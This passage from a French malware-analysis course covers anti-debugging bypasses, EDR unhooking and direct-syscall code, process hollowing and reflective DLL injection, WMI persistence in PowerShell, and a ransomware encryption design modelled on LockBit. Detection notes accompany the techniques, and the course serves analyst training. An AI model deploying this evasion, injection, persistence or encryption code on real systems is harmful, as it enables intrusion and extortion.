9 — CloseHandle invalide	moyen	Appelle CloseHandle avec un handle invalide. Génère une exception différente selon le debugger.	Shift+F9 pour passer l'exception au programme. ScyllaHide supporte ce bypass.
10 — OutputDebugString	facile	Envoie une string de debug. Si un debugger est là, GetLastError() après retourne 0.	Patch le call ou bypasser via ScyllaHide.
11 — FindWindow(debugger)	facile	Cherche des fenêtres x64dbg, OllyDbg, WinDbg par nom de classe ou titre.	Renommer l'EXE du debugger. Certains debuggers peuvent cacher leur fenêtre.
12 — Process enumeration	facile	Énumère les processus via CreateToolhelp32Snapshot et cherche des noms d'AV/debugger.	Renommer les processus ou utiliser des outils de masquage de nom.
13 — Parent Process check	moyen	Vérifie que le processus parent est explorer.exe. Un debugger = debugger comme parent.	Modifier la valeur InheritedFromUniqueProcessId dans le PEB ou dans l'EPROCESS.
14 — DebugObject handle	moyen	Cherche un objet 'DebugObject' dans le kernel via NtQueryObject ou handle tables.	Nécessite un patch kernel via ScyllaHide ou un hook NtQueryObject.
15 — TLS Anti-Debug	difficile	Checks dans les TLS callbacks, qui s'exécutent AVANT l'EntryPoint. La plupart des analystes ratent ça.	Dans x64dbg : Options → Break on TLS. Assure-toi d'être arrêté sur les TLS callbacks.
16 — Hardware breakpoint detection	difficile	Lit le registre DR7 via GetThreadContext. Si DR7 != 0, des hardware BPs sont posés.	x64dbg peut masquer les registres DR. ScyllaHide virtualise le contexte thread.
17 — Exception-based timing	difficile	Génère une exception et mesure le temps de handling. Plus lent avec un debugger.	Difficile à patcher proprement. Le trace logging aide à identifier la section.
18 — Self-modifying code	difficile	Le code se modifie lui-même. Les breakpoints software (0xCC) sont détectés car ils modifient le code.	Utiliser uniquement des hardware breakpoints (limité à 4 dans x64dbg).
19 — VM detection as anti-debug	difficile	Si VM détectée → comportement différent. Les VMs sont aussi utilisées pour le debugging.	Améliorer la crédibilité de la VM (RAM, processeurs, historique).
20 — Kernel-mode detection	expert	Checker les structures kernel directement via syscalls non-documentés. Presque indétectable depuis user-mode.	WinDbg kernel debugging ou analyse du crash dump. Nécessite un environnement de debugging kernel.

4.3 Anti-EDR — Unhooking et Direct Syscalls

Les EDR modernes (CrowdStrike, SentinelOne, Carbon Black) fonctionnent en grande partie en hookant les fonctions ntdll.dll dans chaque processus. Ils remplacent les premiers bytes de {ic('NtCreateThread')}, {ic('NtOpenProcess')}, etc. par un JMP vers leur propre code de monitoring. Chaque appel API passe par l'EDR avant d'aller au kernel.

Les malwares avancés contournent ça de deux façons : l'unhooking (restaurer les bytes originaux pour enlever les hooks), et les direct syscalls (appeler le kernel directement sans passer par ntdll).

Unhooking ntdll.dll

Unhooking ntdll.dll — mécanisme et détection

```
; Technique d'unhooking ntdll.dll
; Principe : la version sur disque de ntdll.dll n'a pas les hooks EDR
; Donc : lire ntdll.dll depuis le disque et copier les sections .text propres

# Unhooking en Python (conceptuel — pour comprendre le mécanisme)
import ctypes, sys
from ctypes.wintypes import *

def unhook_ntdll():
    """Restaure ntdll.dll propre depuis le disque (sans hooks EDR)"""
    kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
    ntdll    = ctypes.WinDLL('ntdll')

    # 1. Lire ntdll.dll propre depuis le disque
    ntdll_path = r'C:\Windows\System32\ntdll.dll'
    with open(ntdll_path, 'rb') as f:
        ntdll_clean = f.read()

    # 2. Parser le PE propre pour trouver la section .text
    import pefile
    pe = pefile.PE(data=ntdll_clean)
    text_section = next(s for s in pe.sections if b'.text' in s.Name)
    clean_code = ntdll_clean[text_section.PointerToRawData:text_section.PointerToRawDat
a+text_section.SizeOfRawData]

    # 3. Trouver l'adresse de la section .text de ntdll en mémoire
    ntdll_base = ctypes.addressof(ctypes.cdll.ntdll)
    text_va    = ntdll_base + text_section.VirtualAddress

    # 4. Changer les permissions pour écrire
    old_protect = DWORD(0)
    kernel32.VirtualProtect(text_va, text_section.VirtualSize, 0x40, ctypes.byref(old_p
rotect))

    # 5. Écraser avec le code propre (sans hooks EDR)
    ctypes.memmove(text_va, clean_code, min(len(clean_code), text_section.VirtualSize))

    # 6. Restaurer les permissions
```

```
    kernel32.VirtualProtect(text_va, text_section.VirtualSize, old_protect, ctypes.byref(old_protect))

    print('ntdll.dll unhooké — les hooks EDR sont retirés')

# COMMENT DÉTECTER L'UNHOOKING :
# - Accès à C:\Windows\System32\ntdll.dll en lecture
# - VirtualProtect sur la section .text de ntdll (changement de permissions)
# - Écriture dans la mémoire de ntdll (région mappée depuis fichier système)
# - Règle Sigma : FileAccess ntdll.dll + VirtualProtect sur ntdll region
```

Direct Syscalls — bypasser ntdll entièrement

Les direct syscalls sont encore plus radicaux : au lieu d'appeler {ic('NtAllocateVirtualMemory')} dans ntdll.dll (hookée par l'EDR), le malware met directement le numéro de syscall dans EAX et exécute {ic('SYSCALL')}. Zéro passage par ntdll. L'EDR ne voit rien.

Direct Syscalls et HellsGate — bypasser les hooks EDR

```
; Direct Syscall — NtAllocateVirtualMemory sans passer par ntdll

; En assembleur (intégré dans le malware) :
; Le numéro de syscall varie selon la version de Windows !
; Win10 2004+: NtAllocateVirtualMemory = 0x18
; Win11 21H2 : NtAllocateVirtualMemory = 0x18 (même)

NtAllocateVirtualMemory_syscall:
    mov  r10, rcx       ; Premier argument déplacé vers r10 (convention NT)
    mov  eax, 0x18      ; Numéro de syscall NtAllocateVirtualMemory
    syscall             ; Appel direct au kernel — BYPASS EDR TOTAL
    ret

; Outils qui génèrent les syscall stubs automatiquement :
; SysWhispers3 : https://github.com/klezVirus/SysWhispers3
; Hellsgate / Halosgate : dynamiquement trouve les numéros de syscall

; HELLSGATE - Technique avancée : trouver les syscall numbers dynamiquement
; pour contourner même les outils qui patchent les numéros de syscall

; Principe Hellsgate :
; 1. Mapper ntdll.dll propre en mémoire
; 2. Parser l'Export Directory
; 3. Pour chaque Nt... function, lire les 4 premiers bytes
;    Pattern normal : 4C 8B D1 B8 XX 00 00 00 (mov r10, rcx / mov eax, syscall_num)
;    XX = numéro de syscall
```

```
; 4. Extraire XX = le vrai numéro de syscall non-hookable

import ctypes, pefile

def find_syscall_number(func_name: str) -> int:
    """Trouve le numéro de syscall en lisant ntdll propre depuis le disque"""
    with open(r'C:\Windows\System32\ntdll.dll', 'rb') as f:
        ntdll_data = f.read()
    pe = pefile.PE(data=ntdll_data)

    if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
        return -1

    for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
        if exp.name and exp.name.decode() == func_name:
            # Lire les bytes à l'adresse de la fonction
            rva = exp.address
            offset = pe.get_offset_from_rva(rva)
            # Pattern: 4C 8B D1  B8 XX 00 00 00
            #          mov r10,rcx  mov eax, syscall_num
            if ntdll_data[offset:offset+3] == b'\x4c\x8b\xd1':
                syscall_num = ntdll_data[offset+4]
                return syscall_num
    return -1

# Trouver le numéro de syscall pour NtAllocateVirtualMemory
num = find_syscall_number('NtAllocateVirtualMemory')
print(f'NtAllocateVirtualMemory syscall = 0x{num:02X}')
```

CHAPITRE 5

Injection de Processus — 12 Techniques

Mécanismes complets, code annoté, détection — chaque technique expliquée de l'intérieur

5.1 Pourquoi l'injection — l'objectif stratégique

L'injection de processus n'est pas juste une technique d'évasion. C'est une stratégie complète qui résout plusieurs problèmes à la fois : faire tourner du code malveillant dans un processus légitime (évasion AV/EDR), obtenir les droits du processus cible (élévation ou latéralisation), et rendre la détection forensique beaucoup plus difficile (le code malveillant n'a pas de fichier associé sur le disque).

Du point de vue de l'analyste, les injections laissent des traces caractéristiques : des séquences d'appels API anormales, des régions mémoire rwx dans des processus légitimes, et des comportements réseau ou fichiers de processus qui ne devraient pas en avoir. Reconnaître ces traces est aussi important que comprendre les techniques.

5.3 Process Hollowing — la technique la plus utilisée par les APTs

Process Hollowing est élégant dans sa conception : tu prends un processus Windows légitime, tu vides son code, et tu le remplis avec ton malware. Du point de vue du Task Manager : c'est {ic('svchost.exe')}. Du point de vue du kernel : c'est {ic('svchost.exe')} qui tourne avec ses droits. Mais le code qu'il exécute est le tien.

Process Hollowing — séquence complète annotée

```
; Process Hollowing — Anatomie complète avec pseudo-assembleur annoté

; === ÉTAPE 1 : Créer le processus cible en mode SUSPENDU ===
; On crée svchost.exe mais il ne s'exécute pas encore

lea  rcx, [si_svchost]         ; STARTUPINFOW initialisée
lea  rdx, [pi_svchost]         ; PROCESS_INFORMATION (sortie)
lea  r8,  [path_svchost]       ; L'exécutable légitime
mov  r9d, CREATE_SUSPENDED     ; ← CLEF : créé mais SUSPENDU
call CreateProcessW

; pi_svchost.hProcess = handle du processus créé
; pi_svchost.hThread  = handle du thread principal (suspendu)

; === ÉTAPE 2 : Obtenir le contexte du thread suspendu ===
; On a besoin de lire/modifier les registres du thread
```

```
mov  rcx, [pi_svchost.hThread]
lea  rdx, [thread_context]      ; Structure CONTEXT (OUTPUT)
mov  r8d, CONTEXT_FULL
call GetThreadContext
; thread_context.Rdx = PEB address (Windows met l'adresse du PEB dans RDX au démarrage)

; === ÉTAPE 3 : Lire l'ImageBase actuelle du processus ===
; Le PEB contient ImageBase à l'offset 0x10

mov  rcx, [pi_svchost.hProcess]
lea  rdx, [thread_context.Rdx + 0x10]  ; Adresse de PEB.ImageBase
lea  r8,  [image_base_buf]
mov  r9d, 8                            ; 8 bytes
xor  r10, r10                          ; lpNumberOfBytesRead
call ReadProcessMemory
; image_base_buf contient maintenant l'ImageBase de svchost.exe

; === ÉTAPE 4 : Démapper le code légitime ===
; On retire le code de svchost.exe de sa mémoire

mov  rcx, [pi_svchost.hProcess]
mov  rdx, [image_base_buf]          ; ImageBase de svchost.exe
call ZwUnmapViewOfSection           ; ← API non documentée mais classique
; Maintenant le processus svchost.exe est 'creux' — plus de code

; === ÉTAPE 5 : Allouer de la mémoire pour notre malware ===

mov  rcx, [pi_svchost.hProcess]
mov  rdx, [our_pe_imagebase]        ; Adresse préférée (ImageBase de notre PE)
mov  r8,  [our_pe_sizeofimage]      ; Taille de notre PE
mov  r9d, MEM_COMMIT|MEM_RESERVE
mov  [rsp+0x20], PAGE_EXECUTE_READWRITE
call VirtualAllocEx
mov  [allocated_base], rax

; === ÉTAPE 6 : Copier notre malware dans le processus ===
; D'abord les headers PE
mov  rcx, [pi_svchost.hProcess]
mov  rdx, [allocated_base]
mov  r8,  [our_pe_base]             ; Notre PE en mémoire
mov  r9,  [our_pe_headersize]
call WriteProcessMemory
```

```
; Puis chaque section
; for each section in our_pe : WriteProcessMemory(allocated_base + section.VirtualAddress, ...)

; === ÉTAPE 7 : Appliquer les relocations (si ASLR) ===
; Si notre PE a des relocations et si l'adresse allouée != ImageBase préférée
; Appliquer les entries de relocation : ajuster chaque adresse absolue

; === ÉTAPE 8 : Modifier le contexte pour pointer vers notre OEP ===

mov  rax, [allocated_base]
add  rax, [our_pe_entrypoint]       ; allocated_base + EntryPoint RVA
mov  [thread_context.Rcx], rax      ; Rcx = argument à WinMain / entry
mov  [thread_context.Rdx], rax      ; Rdx = PEB (certaines implémentations)
; En fait pour x64 le vrai OEP va dans thread_context.Rip
mov  [thread_context.Rip], rax      ; ← Rip = prochaine instruction du thread

mov  rcx, [pi_svchost.hThread]
lea  rdx, [thread_context]
call SetThreadContext               ; Appliquer le contexte modifié

; === ÉTAPE 9 : Reprendre l'exécution ===
mov  rcx, [pi_svchost.hThread]
call ResumeThread
; Le thread reprend — mais exécute maintenant NOTRE code à l'adresse Rip

; === TRACES DANS PROCESS HACKER / PROCMON ===
; - CreateProcess de svchost.exe avec parent = malware.exe (inhabituel)
; - ZwUnmapViewOfSection sur le processus svchost
; - VirtualAllocEx PAGE_EXECUTE_READWRITE dans svchost
; - WriteProcessMemory vers svchost
; - SetThreadContext sur le thread suspendu
; - ResumeThread
; - Comportement réseau de svchost.exe (il ne devrait pas en avoir sur ce port)
```

5.4 Process Doppelgänging — l'injection qui exploite NTFS

Process Doppelgänging (BlackHat 2017, enSilo) est une technique basée sur les transactions NTFS. Elle crée un processus dont l'image sur disque n'existe pas réellement — elle a été écrite dans une transaction NTFS qui est ensuite abandonnée (rollback). Résultat : le processus tourne depuis un fichier qui n'existe plus sur le disque. Ni les scanners de fichiers, ni les outils qui lisent l'image depuis le disque, ne voient le vrai code.

La technique : 1) Ouvrir une transaction NTFS. 2) Dans cette transaction, écrire ton malware à la place d'un fichier légitime (ex: calc.exe). 3) Créer un Section object (mapping en mémoire) depuis ce fichier modifié dans la transaction. 4) Abandonner (rollback) la transaction NTFS — le fichier sur disque redevient calc.exe normal. 5) Créer un processus depuis le Section object — le processus contient ton malware mais le fichier sur disque est propre. Le Windows Defender qui lit le fichier voit calc.exe. Le processus qui tourne contient ton code.

5.5 Reflective DLL Injection — zéro fichier sur disque

Reflective DLL Injection (développée par Stephen Fewer, 2008) est la technique la plus 'propre' du point de vue de l'évasion. La DLL contient son propre loader qui la charge en mémoire sans passer par les APIs Windows standard (LoadLibrary). Pas de fichier DLL sur le disque. Pas d'entrée dans la PEB module list. Difficile à détecter statiquement.

Reflective DLL Injection — le loader qui se charge lui-même

```
; Reflective DLL — Le ReflectiveDllInjection() function qui se charge elle-même
; Cette fonction est exportée par la DLL et appelée par l'injecteur.
; Elle reçoit sa propre adresse de base en mémoire et se charge elle-même.
DWORD_PTR ReflectiveDllInjection(LPVOID lpParameter) {
    // ÉTAPE 1 : Trouver notre propre adresse de base en mémoire
    // (pas via GetModuleHandle - on ne peut pas, on est pas encore chargée !)
    // Technique : lire l'adresse de retour sur la stack, remonter jusqu'au MZ header
    ULONG_PTR uiLibraryAddress = caller_address;
    // Chercher en arrière les bytes 'MZ' (0x4D5A)
    while (*(WORD*)uiLibraryAddress != 0x5A4D) { // MZ
        uiLibraryAddress--;
    }
    // uiLibraryAddress = notre adresse de base
    // ÉTAPE 2 : Parser notre propre PE header pour trouver nos sections
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(uiLibraryAddress + dos->e_lfanew);
    // ÉTAPE 3 : Allouer de la mémoire pour se copier correctement
    // (on doit aligner les sections sur des pages mémoire)
    LPVOID new_base = VirtualAlloc(NULL,
        nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT|MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);
    // ÉTAPE 4 : Copier le PE header et chaque section
```

```
    memcpy(new_base, (LPVOID)uiLibraryAddress, nt->OptionalHeader.SizeOfHeaders);
    // for each section: memcpy(new_base + section.VirtualAddress, ...)

    // ÉTAPE 5 : Résoudre nos propres imports (kernel32.dll, ntdll.dll, etc.)
    // On ne peut pas appeler LoadLibrary directement - on la cherche via PEB
    // PEB → InMemoryOrderModuleList → trouver kernel32 → parser ses exports
    FARPROC pLoadLibrary   = find_function_by_hash(kernel32_base, HASH_LOADLIBRARY);
    FARPROC pGetProcAddr   = find_function_by_hash(kernel32_base, HASH_GETPROCADDRESS);

    // Résoudre toutes nos dépendances via cette LoadLibrary/GetProcAddress trouvées
    resolve_imports(new_base, nt, pLoadLibrary, pGetProcAddr);

    // ÉTAPE 6 : Appliquer les relocations
    apply_relocations(new_base, nt);

    // ÉTAPE 7 : Appeler notre DllMain(DLL_PROCESS_ATTACH)
    DWORD_PTR entrypoint = (DWORD_PTR)new_base + nt->OptionalHeader.AddressOfEntryPoint
;
    ((DLLMAIN)entrypoint)((HINSTANCE)new_base, DLL_PROCESS_ATTACH, NULL);

    // Notre DLL est maintenant chargée et tourne — SANS fichier disque, SANS PEB entry
    return 0;
}

; DÉTECTION :
; - Région mémoire 'Private' + executable dans le processus cible
; - La région commence par un PE header (MZ 0x4D5A) mais n'est pas mappée depuis fichie
r
; - Process Hacker : Memory tab → cherche Private + Executable sans path
; - Volatility : malfind plugin détecte ces régions anormales
```

5.12 Phantom DLL Hollowing et Transacted Hollowing

Ces deux techniques récentes combinent les idées de Process Hollowing et de Reflective Loading de façon plus sophistiquée.

Transacted Hollowing (2019) : combine Process Doppelgänging et Process Hollowing. Crée une transaction NTFS pour écrire le malware, mappe ce fichier en Section, utilise le Section pour remplir un processus creux. Rollback de la transaction. Résultat : le processus tourne depuis un mapping qui n'existe plus sur disque.

Phantom DLL Hollowing : au lieu de cibler des fichiers EXE légitimes, charge une DLL légitime (souvent une DLL non utilisée) dans un processus, modifie ses pages mémoire pour remplacer son code par le payload. La DLL reste dans la PEB module list — elle semble légitime. Mais son code a été remplacé.

5.13 Détecter les injections — méthode comparative

La détection d'injection repose sur la comparaison de plusieurs sources d'information. La règle d'or : {hl('si deux sources donnent des informations contradictoires sur un processus, quelque chose a manipulé une des sources')}.

Détecteur d'anomalies d'injection en Python

```
# Détecteur d'injection Python — comparaisons croisées
import psutil, ctypes, os
from ctypes.wintypes import *

PAGE_EXECUTE_READWRITE = 0x40
PAGE_EXECUTE_READ      = 0x20
PAGE_EXECUTE           = 0x10

MEMORY_BASIC_INFORMATION = None  # Utilise psutil.memory_maps() à la place

def find_injectable_anomalies(pid):
    """Cherche des anomalies de mémoire suggestives d'injection"""
    anomalies = []

    try:
        proc = psutil.Process(pid)
        proc_name = proc.name()

        for region in proc.memory_maps(grouped=False):
            path = region.path if hasattr(region, 'path') else ''
            perms = region.perms if hasattr(region, 'perms') else ''

            # Anomalie 1 : Région exécutable sans fichier source
            if 'x' in perms and not path:
                anomalies.append({
                    'type': 'EXEC_NO_FILE',
                    'addr': region.addr,
                    'size': region.rss,
                    'perms': perms,
                    'desc': f'Région {perms} sans fichier mappé — probable injection'
                })

            # Anomalie 2 : Région rwx (lecture+écriture+exécution)
            if perms == 'rwx':
                anomalies.append({
                    'type': 'RWX_REGION',
                    'addr': region.addr,
```

```
                    'desc': 'PAGE_EXECUTE_READWRITE — anormal pour un processus légitim
e'
                })

            # Anomalie 3 : DLL avec chemin inhabituel
            if path and '.dll' in path.lower():
                if 'appdata' in path.lower() or 'temp' in path.lower():
                    anomalies.append({
                        'type': 'DLL_SUSPICIOUS_PATH',
                        'path': path,
                        'desc': 'DLL chargée depuis répertoire temp/appdata'
                    })

    except (psutil.NoSuchProcess, psutil.AccessDenied) as e:
        pass

    return anomalies

# Scanner tous les processus
for proc in psutil.process_iter(['pid', 'name']):
    anomalies = find_injectable_anomalies(proc.info['pid'])
    if anomalies:
        print(f'[!] PID {proc.info["pid"]} ({proc.info["name"]}) :')
        for a in anomalies:
            print(f'  [{a["type"]}] {a["desc"]}')
```

CHAPITRE 6

Persistence Avancée

Tous les vecteurs de persistence — des Run Keys au firmware

6.1 Cartographie complète des vecteurs

La persistence est l'ensemble des mécanismes qui permettent à du code malveillant de s'exécuter à nouveau après un redémarrage, une déconnexion, ou une réinstallation partielle. Il y a plus de 50 techniques documentées dans MITRE ATT&CK; (T1547.xxx, T1546.xxx, T1574.xxx). Voici les plus importantes, organisées par difficulté de détection.

Run Keys — la technique de base mais toujours active

Malgré sa notoriété, la Run Key reste utilisée parce qu'elle fonctionne, qu'elle est simple à implémenter, et que beaucoup d'environnements ne la monitorent pas. Variantes moins connues :

- `HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` : remplacer explorer.exe par ton malware. Très visible mais très peu monitoré.
- `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce` : s'exécute une fois et s'efface. Utilisé pour installer une persistence plus furtive.
- `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` : la plus classique. Exécutée au login de l'utilisateur.
- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB` : SDB shim databases — technique avancée pour exécuter des patches sur des exécutables légitimes.

WMI Event Subscription — la persistence fileless ultime

WMI (Windows Management Instrumentation) Event Subscriptions permettent d'exécuter du code arbitraire en réponse à un événement système : démarrage du système, connection d'un utilisateur, création d'un fichier, etc. La persistence est stockée dans la base WMI (un fichier sur disque, mais pas un EXE). Aucun fichier .exe dans le dossier Startup. Aucune Run Key. Difficile à détecter sans monitoring WMI dédié.

WMI Event Subscription — persistence fileless avancée

```
# WMI Event Subscription persistence — PowerShell
# (Technique documentée dans APT29, FIN6, PLATINUM)

# Créer une subscription WMI qui exécute du code au démarrage

# Étape 1 : Créer un EventFilter (l'événement déclencheur)
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments
@{
```

```
    Name = 'SecurityUpdate'  # Nom discret qui ressemble à un update légitime
    EventNameSpace = 'root\cimv2'
    QueryLanguage = 'WQL'
    # Déclenchement 5 minutes après le boot
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 " +
            "WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' " +
            "AND TargetInstance.SystemUpTime >= 300 AND TargetInstance.SystemUpTime < 3
60"
}

# Étape 2 : Créer un EventConsumer (l'action à exécuter)
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsume
r -Arguments @{
    Name = 'SecurityUpdate'
    # Le payload : PowerShell télécharge et exécute en mémoire
    CommandLineTemplate = 'powershell.exe -WindowStyle Hidden -EncodedCommand SQBFAFgA.
..'
}

# Étape 3 : Lier les deux
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBindin
g -Arguments @{
    Filter = [Ref]$Filter
    Consumer = [Ref]$Consumer
}

# === RÉSULTAT ===
# 5 minutes après chaque démarrage, PowerShell s'exécute avec le payload
# Aucun fichier dans Startup, aucune Run Key
# Stocké dans C:\Windows\System32\wbem\Repository (base WMI)

# === DÉTECTION ===
# Sysmon Event ID 20 : WmiEventFilter activity detected
# Sysmon Event ID 21 : WmiEventConsumer activity
# Sysmon Event ID 22 : WmiEventConsumerToFilter binding

# Lister les subscriptions WMI actuelles (sur la machine analysée) :
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Supprimer toutes les subscriptions :
# Get-WMIObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject
```

DLL Search Order Hijacking — sideloading

Windows cherche les DLLs dans un ordre défini. Si une application charge {ic('version.dll')} sans spécifier le chemin complet, Windows cherche dans : le répertoire de l'application, System32, puis d'autres. Si tu places une {ic('version.dll')} malveillante dans le répertoire de l'application avant la vraie version.dll de System32, ta DLL est chargée à la place.

Les cibles classiques pour le sideloading : applications légitimes qui chargent des DLLs sans chemin complet, notamment les anciens programmes (Acrobat Reader, VLC, 7-Zip). Technique très utilisée par les APTs car elle fait tourner le malware sous le contexte d'une application légitime et signée.

CHAPITRE 7

Ransomware — Anatomie Complète

Schémas cryptographiques, implémentations réelles, failles et forensics

7.1 Schémas cryptographiques — le coeur du ransomware

La qualité cryptographique d'un ransomware détermine si les victimes peuvent récupérer leurs fichiers sans payer. Un ransomware avec une crypto mal implémentée peut être déchiffré. Un ransomware avec une crypto solide est irréversible sans la clé privée de l'attaquant. Comprendre les schémas te permet d'évaluer rapidement si une récupération est possible.

Schéma 1 — Clé hardcodée (plus courant que tu ne le penses)

Les ransomwares simples ou mal développés utilisent une clé de chiffrement hardcodée dans le binaire. Tous les fichiers chiffrés par toutes les victimes utilisent la même clé. C'est une erreur de conception majeure : si un analyste extrait la clé du binaire, toutes les victimes peuvent déchiffrer sans payer.

Schéma 2 — Clé générée localement (vulnérable si PRNG faible)

Le ransomware génère une clé aléatoire. Si le générateur pseudo-aléatoire est faible ou mal seeded (graine prévisible), la clé peut être reconstruite. Exemple célèbre : WannaCry avait initialement un bug dans sa génération de clé qui permettait de déchiffrer sans payer (corrigé dans les versions ultérieures).

Schéma 3 — Hybride RSA+AES (le standard actuel)

C'est le schéma utilisé par LockBit, Conti, REvil, et la plupart des ransomwares professionnels. Il est cryptographiquement solide et n'a pas de faille structurelle connue.

Schéma hybride RSA+AES — implémentation et failles

```
; Schéma hybride RSA+AES — le standard des ransomwares pro

; === CÔTÉ ATTAQUANT (avant la campagne) ===
; 1. Générer une paire RSA-2048 ou RSA-4096
;    clé_publique_attaquant  → embarquée dans chaque sample
;    clé_privée_attaquant   → gardée secrète par l'attaquant (sert à déchiffrer si pai
ement)

; === CÔTÉ MALWARE (à l'exécution sur la victime) ===
; 2. Générer une clé AES-256 aléatoire (unique par machine ou par session)
;    Utilise CryptGenRandom ou BCryptGenRandom (CSPRNG — cryptographiquement sûr)
BCryptGenRandom(NULL, session_key, 32, BCRYPT_USE_SYSTEM_PREFERRED_RNG)
```

```
; 3. Chiffrer chaque fichier avec AES-256 (ex: CBC ou CTR)
;    Pour chaque fichier :
;    a) Générer un IV aléatoire (16 bytes pour AES)
BCryptGenRandom(NULL, file_iv, 16, BCRYPT_USE_SYSTEM_PREFERRED_RNG)
;    b) Chiffrer le contenu avec AES-256(session_key, IV)
BCryptEncrypt(hKey, file_data, file_size, NULL, file_iv, 16, out_buf, ...)
;    c) Stocker IV + contenu chiffré dans le fichier renommé
;       Format : [IV(16 bytes)][contenu_chiffré][session_key_chiffrée(256/512 bytes)]

; 4. Chiffrer la session_key AES avec la clé RSA publique de l'attaquant
CryptEncrypt(hPublicKey, NULL, TRUE, 0, session_key, &key_len, 256)
; session_key_chiffrée ne peut être déchiffrée QUE par la clé privée de l'attaquant

; 5. Effacer session_key de la mémoire (crucial)
SecureZeroMemory(session_key, 32)
; Si pas effacée → analystes peuvent la trouver dans un dump mémoire !

; === POUR DÉCHIFFRER (si paiement) ===
; L'attaquant fournit un outil qui contient la clé privée RSA
; Cet outil : lit session_key_chiffrée depuis chaque fichier
;             déchiffre session_key avec clé_privée_attaquant
;             déchiffre le fichier avec session_key

; === FAILLES POSSIBLES ===
; 1. SecureZeroMemory non appelé → session_key visible en dump mémoire
; 2. PRNG non cryptographique (rand() au lieu de BCryptGenRandom) → clé prévisible
; 3. Même IV pour tous les fichiers → fuite d'informations (cryptanalyse)
; 4. Pas de chiffrement par chunk → fichiers partiellement déchiffrables
```

7.2 LockBit vs Conti — comparaison des implémentations

LockBit et Conti sont deux des ransomwares les plus actifs de ces dernières années. Leurs implémentations sont différentes et révèlent des philosophies de design distinctes.

LockBit — vitesse maximale avec multithreading

LockBit 2.0 et 3.0 sont obsédés par la vitesse. L'objectif : chiffrer le maximum de données avant que les équipes de sécurité réagissent. LockBit utilise un pool de threads pour chiffrer plusieurs fichiers en parallèle, un mécanisme d'I/O asynchrone, et ne chiffre que les premiers 4 Ko des gros fichiers (rend le fichier inutilisable tout en étant très rapide).

LockBit — Architecture multi-threadée annotée

```
; LockBit — Architecture multi-threaded (pseudo-code simplifié)
```

```
// Structure pour chaque thread worker
struct EncryptWorker {
    HANDLE queue;          // File d'attente de fichiers à chiffrer
    BYTE session_key[32];  // Clé AES partagée entre tous les workers
    BYTE rsa_key[512];     // Clé RSA publique pour protéger la session key
};

void lockbit_main() {
    // 1. Générer la session key AES-256
    generate_session_key(gSessionKey);

    // 2. Créer un pool de threads selon les CPUs disponibles
    DWORD num_threads = GetSystemInfo().dwNumberOfProcessors * 2;
    for (int i = 0; i < num_threads; i++) {
        CreateThread(NULL, 0, encrypt_worker_thread, &gWorkerCtx, 0, NULL);
    }

    // 3. Énumérer TOUS les fichiers (locaux + réseau simultanément)
    // Thread principal énumère et met dans la queue
    enumerate_drives_and_shares(gFileQueue);

    // 4. Attendre que tous les workers finissent
    WaitForMultipleObjects(num_threads, worker_handles, TRUE, INFINITE);

    // 5. Note de rançon dans chaque dossier
    drop_ransom_note_everywhere();

    // 6. Changer le wallpaper
    SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, ransom_wallpaper_path, 0);
}

DWORD WINAPI encrypt_worker_thread(LPVOID ctx) {
    EncryptWorker* w = (EncryptWorker*)ctx;
    while (true) {
        FilePath* fp = dequeue(w->queue);
        if (!fp) break;

        // Optimisation LockBit : chiffrer seulement les X premiers bytes
        // pour les gros fichiers (> 4 Mo : chiffre seulement 4 Ko au début)
        DWORD64 file_size = get_file_size(fp);
        DWORD64 bytes_to_encrypt = (file_size > 4*1024*1024) ? 4096 : file_size;

        encrypt_file_aes(fp, w->session_key, bytes_to_encrypt);
        rename_file(fp, '.lockbit');  // .lockbit extension
```

```
    }
    return 0;
}

; IOCs LockBit :
; Extension : .lockbit (2.0) ou .lb3 (3.0)
; Note de rançon : 'Restore-My-Files.txt'
; Mutex : '{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}' (random)
; vssadmin / wmic shadowcopy delete (avant de commencer)
; Désactive Windows Defender via registry
```

7.4 Les failles d'implémentation — quand la récupération est possible

Pas tous les ransomwares sont bien conçus. Plusieurs familles ont été cassées à cause de failles cryptographiques. Voici les failles les plus courantes :

PRNG faible	Certains ransomwares utilisent rand() ou GetTickCount() comme source d'entropie pour générer la clé. Ces fonctions ne sont PAS cryptographiquement sûres — la clé peut être reconstruite si on connaît approximativement le moment d'exécution. Exemples : WannaCry v1, certains ransomwares amateur
Clé en mémoire non effacée	La session key AES reste en mémoire après chiffrement. Si un dump mémoire est pris pendant ou juste après l'exécution, la clé est extractable. SecureZeroMemory résout ça — mais pas tous les dev le font. Exemples : Plusieurs variantes de Conti, certains Revil
Même IV pour tous les fichiers	Si tous les fichiers sont chiffrés avec le même IV et la même clé, des attaques par différentiel sur les plaintexts connus sont possibles. Particulièrement si l'attaquant chiffre des fichiers avec des headers connus. Exemples : Nombreux ransomwares bas de gamme
Clé stockée localement non protégée	La clé est chiffrée avec RSA mais stockée dans un fichier sur la machine victime. Si l'algorithme RSA ou l'implémentation a une faille, la clé peut être déchiffrée. Exemples : TeslaCrypt (cassé — clé dérivable)
